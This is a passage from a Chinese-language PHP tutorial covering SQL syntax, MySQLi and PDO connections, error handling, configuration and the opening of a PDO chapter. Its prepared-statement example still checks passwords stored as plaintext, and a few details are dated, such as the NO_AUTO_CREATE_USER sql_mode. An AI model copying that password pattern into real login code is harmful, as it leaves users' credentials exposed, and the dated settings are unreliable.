  • ALTER:修改数据库对象
  • DROP:删除数据库对象
  • TRUNCATE:清空表数据

2. 数据操作语言(DML)

用于操作数据库中的数据。

主要命令:

  • INSERT:插入数据
  • UPDATE:更新数据
  • DELETE:删除数据

3. 数据查询语言(DQL)

用于查询数据库中的数据。

主要命令:

  • SELECT:查询数据

4. 数据控制语言(DCL)

用于控制数据库的访问权限。

主要命令:

  • GRANT:授予权限
  • REVOKE:撤销权限

5. 事务控制语言(TCL)

用于管理数据库事务。

主要命令:

  • COMMIT:提交事务
  • ROLLBACK:回滚事务
  • SAVEPOINT:设置保存点

常用数据类型

数值类型

-- 整数类型
INT           -- 4字节整数
TINYINT       -- 1字节整数
SMALLINT      -- 2字节整数
MEDIUMINT     -- 3字节整数
BIGINT        -- 8字节整数

-- 浮点类型
FLOAT         -- 单精度浮点数
DOUBLE        -- 双精度浮点数
DECIMAL(10,2) -- 定点数,总长度10,小数位2

字符串类型

-- 定长字符串
CHAR(50)      -- 固定长度50字符

-- 变长字符串
VARCHAR(255)  -- 可变长度,最大255字符
TEXT          -- 长文本,最大65535字符
LONGTEXT      -- 超长文本,最大4GB

日期时间类型

DATE          -- 日期 'YYYY-MM-DD'
TIME          -- 时间 'HH:MM:SS'
DATETIME      -- 日期时间 'YYYY-MM-DD HH:MM:SS'
TIMESTAMP     -- 时间戳,自动更新
YEAR          -- 年份 'YYYY'

数据库操作

创建数据库

-- 创建数据库
CREATE DATABASE student_system;

-- 指定字符集
CREATE DATABASE student_system
CHARACTER SET utf8mb4
COLLATE utf8mb4_unicode_ci;

-- 使用数据库
USE student_system;

-- 查看所有数据库
SHOW DATABASES;

-- 删除数据库
DROP DATABASE student_system;

表操作

创建表

-- 基本语法
CREATE TABLE table_name (
    column1 data_type [constraints],
    column2 data_type [constraints],
    ...
);

-- 完整示例
CREATE TABLE students (
    student_id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL,
    gender ENUM('男', '女') NOT NULL,
    age INT CHECK (age BETWEEN 15 AND 30),
    email VARCHAR(100) UNIQUE,
    phone VARCHAR(20),
    birthday DATE,
    enrollment_date DATETIME DEFAULT CURRENT_TIMESTAMP,
    is_active BOOLEAN DEFAULT TRUE
);

修改表结构

-- 添加列
ALTER TABLE students
ADD COLUMN address VARCHAR(200);

-- 修改列
ALTER TABLE students
MODIFY COLUMN phone VARCHAR(30);

-- 删除列
ALTER TABLE students
DROP COLUMN address;

-- 重命名列
ALTER TABLE students
CHANGE COLUMN phone mobile VARCHAR(20);

-- 重命名表
RENAME TABLE students TO student_info;

-- 添加主键
ALTER TABLE student_info
ADD PRIMARY KEY (student_id);

-- 添加外键
ALTER TABLE student_info
ADD FOREIGN KEY (class_id) REFERENCES classes(class_id);

删除表

-- 删除表结构和数据
DROP TABLE students;

-- 只删除数据,保留表结构
TRUNCATE TABLE students;

数据操作(DML)

插入数据

-- 插入单条记录
INSERT INTO students (name, gender, age, email)
VALUES ('张三', '男', 20, 'zhangsan@example.com');

-- 插入多条记录
INSERT INTO students (name, gender, age, email) VALUES
('李四', '女', 19, 'lisi@example.com'),
('王五', '男', 21, 'wangwu@example.com'),
('赵六', '女', 20, 'zhaoliu@example.com');

-- 插入时省略列名(需提供所有列的值)
INSERT INTO students
VALUES (0, '钱七', '男', 22, 'qianqi@example.com', NULL, NULL, NOW(), 1);

更新数据

-- 更新单个字段
UPDATE students
SET age = 21
WHERE name = '张三';

-- 更新多个字段
UPDATE students
SET age = 20, phone = '13800138000'
WHERE student_id = 1;

-- 基于条件更新
UPDATE students
SET age = age + 1
WHERE enrollment_date < '2024-01-01';

删除数据

-- 删除特定记录
DELETE FROM students
WHERE student_id = 1;

-- 基于条件删除
DELETE FROM students
WHERE age > 25;

-- 删除所有记录(谨慎使用)
DELETE FROM students;

数据查询(DQL)

基本查询

-- 查询所有列
SELECT * FROM students;

-- 查询指定列
SELECT name, age, email FROM students;

-- 使用别名
SELECT name AS '姓名', age AS '年龄' FROM students;

-- 去重查询
SELECT DISTINCT age FROM students;

条件查询

-- WHERE子句
SELECT * FROM students WHERE age = 20;

-- 比较运算符
SELECT * FROM students WHERE age > 18;
SELECT * FROM students WHERE age >= 18 AND age <= 22;
SELECT * FROM students WHERE age BETWEEN 18 AND 22;

-- 逻辑运算符
SELECT * FROM students WHERE age = 20 OR age = 21;
SELECT * FROM students WHERE gender = '女' AND age > 19;

-- 模糊查询
SELECT * FROM students WHERE name LIKE '张%';  -- 以'张'开头
SELECT * FROM students WHERE name LIKE '%三';  -- 以'三'结尾
SELECT * FROM students WHERE name LIKE '%李%'; -- 包含'李'

-- 空值查询
SELECT * FROM students WHERE phone IS NULL;
SELECT * FROM students WHERE phone IS NOT NULL;

-- IN查询
SELECT * FROM students WHERE age IN (18, 19, 20);

排序查询

-- 升序排序(默认)
SELECT * FROM students ORDER BY age;

-- 降序排序
SELECT * FROM students ORDER BY age DESC;

-- 多字段排序
SELECT * FROM students ORDER BY age DESC, name ASC;

分页查询

-- LIMIT分页
SELECT * FROM students LIMIT 10;           -- 前10条记录
SELECT * FROM students LIMIT 10, 5;        -- 从第11条开始,取5条
SELECT * FROM students LIMIT 5 OFFSET 10;  -- 从第11条开始,取5条

聚合函数

-- 统计数量
SELECT COUNT(*) FROM students;
SELECT COUNT(DISTINCT age) FROM students;

-- 计算平均值
SELECT AVG(age) FROM students;

-- 计算最大值和最小值
SELECT MAX(age), MIN(age) FROM students;

-- 计算总和
SELECT SUM(age) FROM students;

分组查询

-- 按性别分组统计
SELECT gender, COUNT(*) as count
FROM students
GROUP BY gender;

-- 按年龄分组,并筛选
SELECT age, COUNT(*) as count
FROM students
GROUP BY age
HAVING COUNT(*) > 1;

连接查询

-- 内连接
SELECT s.name, c.class_name
FROM students s
INNER JOIN classes c ON s.class_id = c.class_id;

-- 左连接
SELECT s.name, c.class_name
FROM students s
LEFT JOIN classes c ON s.class_id = c.class_id;

-- 右连接
SELECT s.name, c.class_name
FROM students s
RIGHT JOIN classes c ON s.class_id = c.class_id;

-- 多表连接
SELECT s.name, c.class_name, co.course_name
FROM students s
LEFT JOIN classes c ON s.class_id = c.class_id
LEFT JOIN courses co ON s.student_id = co.student_id;

实践示例

创建完整的数据库结构

-- 创建班级表
CREATE TABLE classes (
    class_id INT PRIMARY KEY AUTO_INCREMENT,
    class_name VARCHAR(50) NOT NULL,
    grade VARCHAR(20) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 创建学生表
CREATE TABLE students (
    student_id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(50) NOT NULL,
    gender ENUM('男', '女') NOT NULL,
    age INT CHECK (age BETWEEN 15 AND 30),
    email VARCHAR(100) UNIQUE,
    phone VARCHAR(20),
    class_id INT,
    birthday DATE,
    enrollment_date DATETIME DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (class_id) REFERENCES classes(class_id)
);

-- 插入测试数据
INSERT INTO classes (class_name, grade) VALUES
('计算机科学1班', '2023级'),
('计算机科学2班', '2023级'),
('软件工程1班', '2023级');

INSERT INTO students (name, gender, age, email, class_id, birthday) VALUES
('张三', '男', 20, 'zhangsan@example.com', 1, '2003-05-15'),
('李四', '女', 19, 'lisi@example.com', 1, '2004-03-22'),
('王五', '男', 21, 'wangwu@example.com', 2, '2002-11-08'),
('赵六', '女', 20, 'zhaoliu@example.com', 3, '2003-07-12'),
('钱七', '男', 19, 'qianqi@example.com', 2, '2004-01-25');

常用查询示例

-- 查询所有学生信息(包含班级名称)
SELECT s.student_id, s.name, s.gender, s.age, c.class_name
FROM students s
LEFT JOIN classes c ON s.class_id = c.class_id;

-- 按班级统计学生数量
SELECT c.class_name, COUNT(s.student_id) as student_count
FROM classes c
LEFT JOIN students s ON c.class_id = s.class_id
GROUP BY c.class_id, c.class_name;

-- 查询年龄大于等于20岁的学生
SELECT name, age, email
FROM students
WHERE age >= 20
ORDER BY age DESC;

-- 查询每个班级的平均年龄
SELECT c.class_name, AVG(s.age) as avg_age
FROM classes c
LEFT JOIN students s ON c.class_id = s.class_id
GROUP BY c.class_id, c.class_name;

SQL最佳实践

  1. 使用有意义的主键:建议使用自增整数作为主键
  2. 合理选择数据类型:根据实际需求选择合适的数据类型
  3. 添加必要的约束:NOT NULL、UNIQUE、CHECK等
  4. 使用索引优化查询:为经常查询的字段添加索引
  5. **避免使用SELECT ***:明确指定需要的字段
  6. 使用参数化查询:防止SQL注入攻击
  7. 合理使用事务:保证数据的一致性
  8. 定期备份数据:防止数据丢失

总结

SQL是与数据库交互的核心语言,掌握SQL基础语法对于PHP开发者来说至关重要。在本节中,我们学习了:

  • SQL语言的分类和特点
  • 常用的数据类型
  • 数据库和表的创建、修改、删除
  • 数据的增删改查操作
  • 复杂查询和连接查询
  • 实际的数据库操作示例

这些SQL知识将为后续学习PHP数据库操作打下坚实的基础。在实际开发中,建议多练习SQL语句的编写,提高查询效率和准确性。

MySQL连接

PHP与MySQL连接概述

PHP提供了多种方式来连接和操作MySQL数据库。主要的连接方式包括:

  1. MySQLi扩展(MySQL Improved)
  2. PDO(PHP Data Objects)
  3. 传统的MySQL扩展(已废弃,不推荐使用)

在现代PHP开发中,推荐使用PDO或MySQLi扩展,因为它们提供了更好的安全性、性能和功能支持。

MySQLi扩展连接

MySQLi扩展提供了面向对象和面向过程两种编程风格。

面向对象方式连接

<?php
// 数据库连接配置
$host = 'localhost';
$username = 'root';
$password = 'password';
$database = 'student_system';
$port = 3306;

// 创建MySQLi对象
$mysqli = new mysqli($host, $username, $password, $database, $port);

// 检查连接是否成功
if ($mysqli->connect_error) {
    die('连接失败: ' . $mysqli->connect_error);
}

echo '数据库连接成功!';

// 设置字符集
$mysqli->set_charset('utf8mb4');

// 关闭连接
$mysqli->close();
?>

面向过程方式连接

<?php
// 数据库连接配置
$host = 'localhost';
$username = 'root';
$password = 'password';
$database = 'student_system';

// 建立连接
$connection = mysqli_connect($host, $username, $password, $database);

// 检查连接
if (!$connection) {
    die('连接失败: ' . mysqli_connect_error());
}

echo '数据库连接成功!';

// 设置字符集
mysqli_set_charset($connection, 'utf8mb4');

// 关闭连接
mysqli_close($connection);
?>

PDO连接

PDO是PHP的数据库抽象层,支持多种数据库系统,包括MySQL、PostgreSQL、SQLite等。

基本PDO连接

<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'student_system';
$username = 'root';
$password = 'password';
$charset = 'utf8mb4';

// DSN(数据源名称)
$dsn = "mysql:host=$host;dbname=$dbname;charset=$charset";

// PDO选项
$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,  // 异常模式
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,         // 默认获取模式
    PDO::ATTR_EMULATE_PREPARES   => false,                    // 禁用预处理模拟
];

try {
    // 创建PDO实例
    $pdo = new PDO($dsn, $username, $password, $options);
    echo '数据库连接成功!';
} catch (PDOException $e) {
    // 连接失败时捕获异常
    die('连接失败: ' . $e->getMessage());
}

// PDO对象会在脚本结束时自动关闭连接
?>

使用配置文件的PDO连接

<?php
// config.php
class Database {
    private static $instance = null;
    private $pdo;

    private $host = 'localhost';
    private $dbname = 'student_system';
    private $username = 'root';
    private $password = 'password';
    private $charset = 'utf8mb4';

    private function __construct() {
        $dsn = "mysql:host={$this->host};dbname={$this->dbname};charset={$this->charset}";

        $options = [
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES   => false,
            PDO::ATTR_PERSISTENT         => true,  // 持久连接
        ];

        try {
            $this->pdo = new PDO($dsn, $this->username, $this->password, $options);
        } catch (PDOException $e) {
            throw new PDOException('数据库连接失败: ' . $e->getMessage());
        }
    }

    // 单例模式
    public static function getInstance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    public function getConnection() {
        return $this->pdo;
    }

    // 防止克隆
    private function __clone() {}

    // 防止反序列化
    public function __wakeup() {
        throw new Exception("Cannot unserialize singleton");
    }
}

// 使用示例
try {
    $db = Database::getInstance();
    $pdo = $db->getConnection();
    echo '数据库连接成功!';
} catch (Exception $e) {
    die('连接失败: ' . $e->getMessage());
}
?>

连接参数详解

常用连接参数

// DSN参数说明
$dsn = "mysql:host=localhost;dbname=test;charset=utf8mb4;port=3306";

// 参数说明:
// host     - 数据库主机名
// dbname   - 数据库名称
// charset  - 字符集
// port     - 端口号(默认3306)
// socket   - Unix套接字路径(可选)

PDO连接选项

$options = [
    // 错误处理模式
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,  // 抛出异常
    // PDO::ERRMODE_WARNING     // 发出警告
    // PDO::ERRMODE_SILENT      // 静默模式

    // 默认获取模式
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,        // 关联数组
    // PDO::FETCH_NUM           // 数字索引数组
    // PDO::FETCH_OBJ           // 对象形式
    // PDO::FETCH_BOTH          // 同时包含关联和数字索引

    // 预处理设置
    PDO::ATTR_EMULATE_PREPARES   => false,                    // 禁用模拟预处理

    // 持久连接
    PDO::ATTR_PERSISTENT         => true,                     // 启用持久连接

    // 自动提交
    PDO::ATTR_AUTOCOMMIT         => true,                     // 自动提交模式

    // 连接超时
    PDO::ATTR_TIMEOUT            => 30,                       // 连接超时时间(秒)

    // 服务器端预处理
    PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,              // 使用缓冲查询
];

连接管理

持久连接

持久连接可以避免每次脚本执行都重新建立数据库连接,提高性能。

<?php
// PDO持久连接
$options = [
    PDO::ATTR_PERSISTENT => true,
    // 其他选项...
];

$pdo = new PDO($dsn, $username, $password, $options);

// MySQLi持久连接
$mysqli = mysqli_connect('p:' . $host, $username, $password, $database);
?>

连接池

<?php
class ConnectionPool {
    private static $pool = [];
    private static $maxConnections = 10;

    public static function getConnection($config) {
        $key = md5(serialize($config));

        if (!isset(self::$pool[$key]) || count(self::$pool[$key]) === 0) {
            // 创建新连接
            $connection = new PDO(
                $config['dsn'],
                $config['username'],
                $config['password'],
                $config['options']
            );
            return $connection;
        }

        // 从池中获取连接
        return array_pop(self::$pool[$key]);
    }

    public static function releaseConnection($connection, $config) {
        $key = md5(serialize($config));

        if (!isset(self::$pool[$key])) {
            self::$pool[$key] = [];
        }

        if (count(self::$pool[$key]) < self::$maxConnections) {
            array_push(self::$pool[$key], $connection);
        }
    }
}
?>

错误处理

MySQLi错误处理

<?php
// 面向对象方式的错误处理
try {
    $mysqli = new mysqli($host, $username, $password, $database);

    if ($mysqli->connect_error) {
        throw new Exception('连接失败: ' . $mysqli->connect_error);
    }

    // 执行查询
    $result = $mysqli->query("SELECT * FROM students");

    if (!$result) {
        throw new Exception('查询失败: ' . $mysqli->error);
    }

} catch (Exception $e) {
    error_log('数据库错误: ' . $e->getMessage());
    // 用户友好的错误信息
    die('系统错误,请稍后再试');
}

// 面向过程方式的错误处理
$connection = mysqli_connect($host, $username, $password, $database);

if (!$connection) {
    error_log('连接失败: ' . mysqli_connect_error());
    die('数据库连接失败');
}

$result = mysqli_query($connection, "SELECT * FROM students");

if (!$result) {
    error_log('查询失败: ' . mysqli_error($connection));
    die('查询失败');
}
?>

PDO错误处理

<?php
try {
    $pdo = new PDO($dsn, $username, $password, $options);

    // 设置错误模式为异常
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // 执行查询
    $stmt = $pdo->prepare("SELECT * FROM students WHERE age > :age");
    $stmt->execute(['age' => 18]);

    $students = $stmt->fetchAll();

} catch (PDOException $e) {
    // 记录错误日志
    error_log('数据库错误: ' . $e->getMessage());

    // 根据错误类型进行不同处理
    switch ($e->getCode()) {
        case 1045: // 访问被拒绝
            die('数据库认证失败');
        case 1049: // 数据库不存在
            die('数据库不存在');
        case 2002: // 无法连接
            die('无法连接到数据库服务器');
        default:
            die('数据库操作失败');
    }
}
?>

连接安全性

使用环境变量存储敏感信息

<?php
// .env 文件
DB_HOST=localhost
DB_NAME=student_system
DB_USER=root
DB_PASS=password
DB_CHARSET=utf8mb4

// PHP代码
class Config {
    public static function get($key) {
        static $config = null;

        if ($config === null) {
            $config_file = __DIR__ . '/.env';
            if (file_exists($config_file)) {
                $lines = file($config_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                foreach ($lines as $line) {
                    if (strpos($line, '=') !== false) {
                        list($k, $v) = explode('=', $line, 2);
                        $config[trim($k)] = trim($v);
                    }
                }
            }
        }

        return $config[$key] ?? null;
    }
}

// 使用配置
$host = Config::get('DB_HOST');
$dbname = Config::get('DB_NAME');
$username = Config::get('DB_USER');
$password = Config::get('DB_PASS');
?>

SSL连接

<?php
// SSL连接配置
$ssl_options = [
    PDO::MYSQL_ATTR_SSL_CA => '/path/to/ca.pem',
    PDO::MYSQL_ATTR_SSL_CERT => '/path/to/client-cert.pem',
    PDO::MYSQL_ATTR_SSL_KEY => '/path/to/client-key.pem',
    PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT => true,
];

$options = array_merge($ssl_options, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

try {
    $pdo = new PDO($dsn, $username, $password, $options);
    echo 'SSL连接成功!';
} catch (PDOException $e) {
    die('SSL连接失败: ' . $e->getMessage());
}
?>

性能优化

连接优化建议

  1. 使用持久连接:减少连接建立开销
  2. 合理设置超时时间:避免长时间等待
  3. 使用连接池:管理多个连接
  4. 及时关闭连接:释放资源
  5. 批量操作:减少数据库往返次数

示例:优化的数据库连接类

<?php
class OptimizedDatabase {
    private $pdo;
    private $config;
    private $isConnected = false;

    public function __construct($config) {
        $this->config = $config;
    }

    // 延迟连接
    public function connect() {
        if ($this->isConnected) {
            return $this->pdo;
        }

        $dsn = "mysql:host={$this->config['host']};dbname={$this->config['dbname']};charset={$this->config['charset']}";

        $options = [
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES   => false,
            PDO::ATTR_PERSISTENT         => true,
            PDO::ATTR_TIMEOUT            => 30,
            PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => false,
        ];

        try {
            $this->pdo = new PDO($dsn, $this->config['username'], $this->config['password'], $options);
            $this->isConnected = true;

            // 设置SQL模式
            $this->pdo->exec("SET sql_mode='STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION'");

        } catch (PDOException $e) {
            throw new Exception('数据库连接失败: ' . $e->getMessage());
        }

        return $this->pdo;
    }

    // 检查连接状态
    public function isConnected() {
        return $this->isConnected && $this->pdo !== null;
    }

    // 重新连接
    public function reconnect() {
        $this->disconnect();
        return $this->connect();
    }

    // 断开连接
    public function disconnect() {
        if ($this->isConnected) {
            $this->pdo = null;
            $this->isConnected = false;
        }
    }

    // 获取连接
    public function getConnection() {
        if (!$this->isConnected) {
            $this->connect();
        }
        return $this->pdo;
    }

    // 析构函数
    public function __destruct() {
        $this->disconnect();
    }
}
?>

调试和监控

连接状态检查

<?php
// MySQLi连接状态检查
if ($mysqli->ping()) {
    echo "连接正常";
} else {
    echo "连接已断开,尝试重新连接...";
    if (!$mysqli->real_connect($host, $username, $password, $database)) {
        die("重新连接失败");
    }
}

// PDO连接状态检查
try {
    $stmt = $pdo->query("SELECT 1");
    echo "连接正常";
} catch (PDOException $e) {
    echo "连接已断开: " . $e->getMessage();
}
?>

连接日志记录

<?php
class DatabaseLogger {
    private static $logFile = 'database_connections.log';

    public static function logConnection($host, $username, $status, $message = '') {
        $timestamp = date('Y-m-d H:i:s');
        $ip = $_SERVER['REMOTE_ADDR'] ?? 'CLI';
        $logEntry = sprintf(
            "[%s] IP: %s | Host: %s | User: %s | Status: %s | Message: %s\n",
            $timestamp, $ip, $host, $username, $status, $message
        );

        file_put_contents(self::$logFile, $logEntry, FILE_APPEND | LOCK_EX);
    }
}

// 使用示例
try {
    $pdo = new PDO($dsn, $username, $password, $options);
    DatabaseLogger::logConnection($host, $username, 'SUCCESS');
} catch (PDOException $e) {
    DatabaseLogger::logConnection($host, $username, 'FAILED', $e->getMessage());
    throw $e;
}
?>

总结

在本节中,我们学习了PHP与MySQL数据库连接的各个方面:

  1. 连接方式:MySQLi和PDO两种主要连接方式
  2. 配置管理:数据库连接参数和选项设置
  3. 错误处理:连接和操作中的错误处理机制
  4. 安全性:SSL连接和环境变量管理
  5. 性能优化:持久连接、连接池和延迟连接
  6. 监控调试:连接状态检查和日志记录

选择合适的连接方式和配置对于构建高性能、安全可靠的PHP应用程序至关重要。在现代开发中,推荐使用PDO作为主要的数据库连接方式,因为它提供了更好的抽象性、安全性和可移植性。

第11章:PDO 数据库操作

本章学习目标

  • 掌握PDO的基本概念和优势
  • 学会使用PDO连接不同类型的数据库
  • 熟练运用PDO进行CRUD操作
  • 理解预处理语句的工作原理
  • 掌握事务处理技术
  • 学会数据库操作的安全编程

本章内容概览

本章将深入学习PHP数据对象(PDO)的使用,PDO是PHP提供的数据库抽象层,支持多种数据库系统。通过学习PDO,你将能够编写安全、高效、可移植的数据库操作代码。

PDO简介

PDO(PHP Data Objects)是PHP5中引入的数据库抽象层,提供了一致的接口来访问多种数据库系统。

PDO的优势

  1. 数据库无关性:统一接口支持多种数据库
  2. 安全性:内置预处理语句防止SQL注入
  3. 性能:原生驱动,性能优异
  4. 错误处理:完善的异常处理机制
  5. 功能丰富:支持事务、存储过程等高级特性

支持的数据库

  • MySQL
  • PostgreSQL
  • SQLite
  • SQL Server
  • Oracle
  • Firebird
  • IBM DB2
  • 等多种数据库

PDO核心概念

DSN(数据源名称)

DSN是连接数据库的字符串,包含数据库类型、主机、数据库名等信息。

// MySQL DSN
$dsn = "mysql:host=localhost;dbname=test;charset=utf8mb4";

// PostgreSQL DSN
$dsn = "pgsql:host=localhost;dbname=test";

// SQLite DSN
$dsn = "sqlite:/path/to/database.db";

连接选项

PDO支持丰富的连接选项,用于控制连接行为。

$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];

错误处理模式

PDO提供三种错误处理模式:

  1. PDO::ERRMODE_SILENT:静默模式(默认)
  2. PDO::ERRMODE_WARNING:警告模式
  3. PDO::ERRMODE_EXCEPTION:异常模式(推荐)

PDO与MySQLi的比较

特性PDOMySQLi
数据库支持多种数据库仅MySQL
面向对象支持支持
面向过程不支持支持
预处理语句支持支持
命名参数支持不支持
事务支持支持支持
存储过程支持支持

PDO工作原理

PDO的工作流程如下:

  1. 加载驱动:根据DSN加载相应的数据库驱动
  2. 建立连接:创建到数据库的连接
  3. 准备语句:预处理SQL语句
  4. 执行查询:执行SQL语句
  5. 获取结果:获取查询结果
  6. 关闭连接:释放资源
// PDO工作流程示例
try {
    // 1. 加载驱动 + 2. 建立连接
    $pdo = new PDO($dsn, $username, $password, $options);

    // 3. 准备语句
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");

    // 4. 执行查询
    $stmt->execute(['id' => $userId]);

    // 5. 获取结果
    $user = $stmt->fetch();

} catch (PDOException $e) {
    // 错误处理
    echo "错误: " . $e->getMessage();
}

// 6. 关闭连接(自动执行)
$pdo = null;

PDO安全特性

预处理语句

预处理语句是PDO最重要的安全特性,有效防止SQL注入攻击。

// 不安全的SQL拼接(容易受到SQL注入攻击)
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

// 安全的预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

参数绑定

PDO支持位置参数和命名参数两种绑定方式。

// 位置参数
$stmt = $pdo->prepare("SELECT * FROM users WHERE age > ? AND status = ?");
$stmt->execute([18, 'active']);

// 命名参数
$stmt = $pdo->prepare("SELECT * FROM users WHERE age > :min_age AND status = :status");
$stmt->execute(['min_age' => 18, 'status' => 'active']);

本章实践项目

在本章中,我们将通过一个完整的学生管理系统来实践PDO的各种功能:

  • 数据库连接配置
  • 学生信息的CRUD操作
  • 预处理语句的应用
  • 事务处理示例
  • 错误处理机制

学习路径建议

为了更好地掌握本章内容,建议按照以下顺序学习:

  1. 首先理解PDO的基本概念和优势
  2. 学习PDO的连接和配置
  3. 掌握基本的查询和操作方法
  4. 深入学习预处理语句
  5. 理解事务处理机制
  6. 通过实际项目巩固知识

最佳实践提示

  1. 始终使用预处理语句:防止SQL注入
  2. 使用异常处理:更好地管理错误
  3. 合理使用事务:保证数据一致性
  4. 及时关闭连接:释放系统资源
  5. 使用命名参数:提高代码可读性
  6. 验证用户输入:在绑定参数前验证数据

后续学习内容

掌握PDO基础后,可以继续学习:

  • 数据库设计优化
  • 查询性能调优
  • 连接池和缓存技术
  • 数据库安全防护
  • NoSQL数据库操作

通过本章的学习,你将能够使用PDO构建安全、高效、可维护的数据库操作代码,为后续的Web应用开发打下坚实的基础。

PDO介绍与连接

什么是PDO

PDO(PHP Data Objects)是PHP5.0.1版本引入的一个数据库抽象层,它提供了一个统一的数据访问接口。通过PDO,我们可以使用相同的方式访问多种不同的数据库系统,而不需要学习特定的数据库API。

PDO的核心特性

  • 数据库无关性:一套API支持多种数据库
  • 面向对象接口:完全的面向对象设计
  • 错误处理:支持异常处理机制
  • 预处理语句:内置SQL注入防护
  • 事务支持:完整的ACID事务支持
  • 存储过程:支持调用数据库存储过程

启用PDO扩展

在使用PDO之前,需要确保相应的PDO驱动已经启用。

检查PDO支持

<?php
// 检查PDO是否可用
if (extension_loaded('pdo')) {
    echo "PDO支持已启用\n";
} else {
    echo "PDO支持未启用\n";
}

// 查看已安装的PDO驱动
print_r(PDO::getAvailableDrivers());
?>

启用扩展

php.ini文件中启用相应的PDO扩展:

; 启用PDO核心
extension=pdo

; 启用特定数据库驱动
extension=pdo_mysql      ; MySQL驱动
extension=pdo_pgsql      ; PostgreSQL驱动
extension=pdo_sqlite     ; SQLite驱动
extension=pdo_sqlsrv     ; SQL Server驱动

PDO连接语法

基本连接语法

<?php
try {
    // 创建PDO连接
    $pdo = new PDO($dsn, $username, $password, $options);
    echo "数据库连接成功!";
} catch (PDOException $e) {
    echo "连接失败: " . $e->getMessage();
}
?>

连接参数说明

  • $dsn:数据源名称,指定数据库类型和连接信息
  • $username:数据库用户名
  • $password:数据库密码
  • $options:连接选项数组(可选)

不同数据库的连接方式

MySQL连接

<?php
$host = 'localhost';
$dbname = 'test_db';
$username = 'root';
$password = 'password';
$charset = 'utf8mb4';

// MySQL DSN格式
$dsn = "mysql:host=$host;dbname=$dbname;charset=$charset";

$options = [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
];

try {
    $pdo = new PDO($dsn, $username, $password, $options);
    echo "MySQL连接成功!";
} catch (PDOException $e) {
    echo "MySQL连接失败: " . $e->getMessage();
}
?>

SQLite连接

<?php
// 文件数据库
$db_path = __DIR__ . '/database.db';

// SQLite DSN格式
$dsn = "sqlite:$db_path";

try {
    $pdo = new PDO($dsn);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    echo "SQLite连接成功!";
} catch (PDOException $e) {
    echo "SQLite连接失败: " . $e->getMessage();
}
?>

连接选项详解

常用连接选项

<?php
$options = [
    // 错误处理模式
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,

    // 默认获取模式
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,

    // 禁用预处理模拟
    PDO::ATTR_EMULATE_PREPARES   => false,

    // 设置字符集
    PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8mb4",

    // 连接超时时间(秒)
    PDO::ATTR_TIMEOUT           => 30,

    // 持久化连接
    PDO::ATTR_PERSISTENT        => true,

    // 自动提交模式
    PDO::ATTR_AUTOCOMMIT        => true,
];

$pdo = new PDO($dsn, $username, $password, $options);
?>

错误处理模式详解

<?php
// 1. 静默模式(默认)
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
// 错误时只返回false,不产生任何输出

// 2. 警告模式
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
// 错误时产生E_WARNING级别的警告

// 3. 异常模式(推荐)
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 错误时抛出PDOException异常
?>

连接管理最佳实践

1. 使用try-catch处理连接错误

<?php
function createPdoConnection($dsn, $username, $password) {
    try {
        $options = [
            PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES   => false,
            PDO::ATTR_PERSISTENT        => false,
        ];

        return new PDO($dsn, $username, $password, $options);

    } catch (PDOException $e) {
        // 记录错误日志
        error_log("数据库连接失败: " . $e->getMessage());

        // 返回null或抛出自定义异常
        return null;
    }
}

// 使用示例
$pdo = createPdoConnection($dsn, $username, $password);
if ($pdo === null) {
    die("无法连接到数据库");
}
?>

2. 配置文件管理

<?php
// config/database.php
class DatabaseConfig {
    const HOST = 'localhost';
    const DBNAME = 'myapp';
    const USERNAME = 'user';
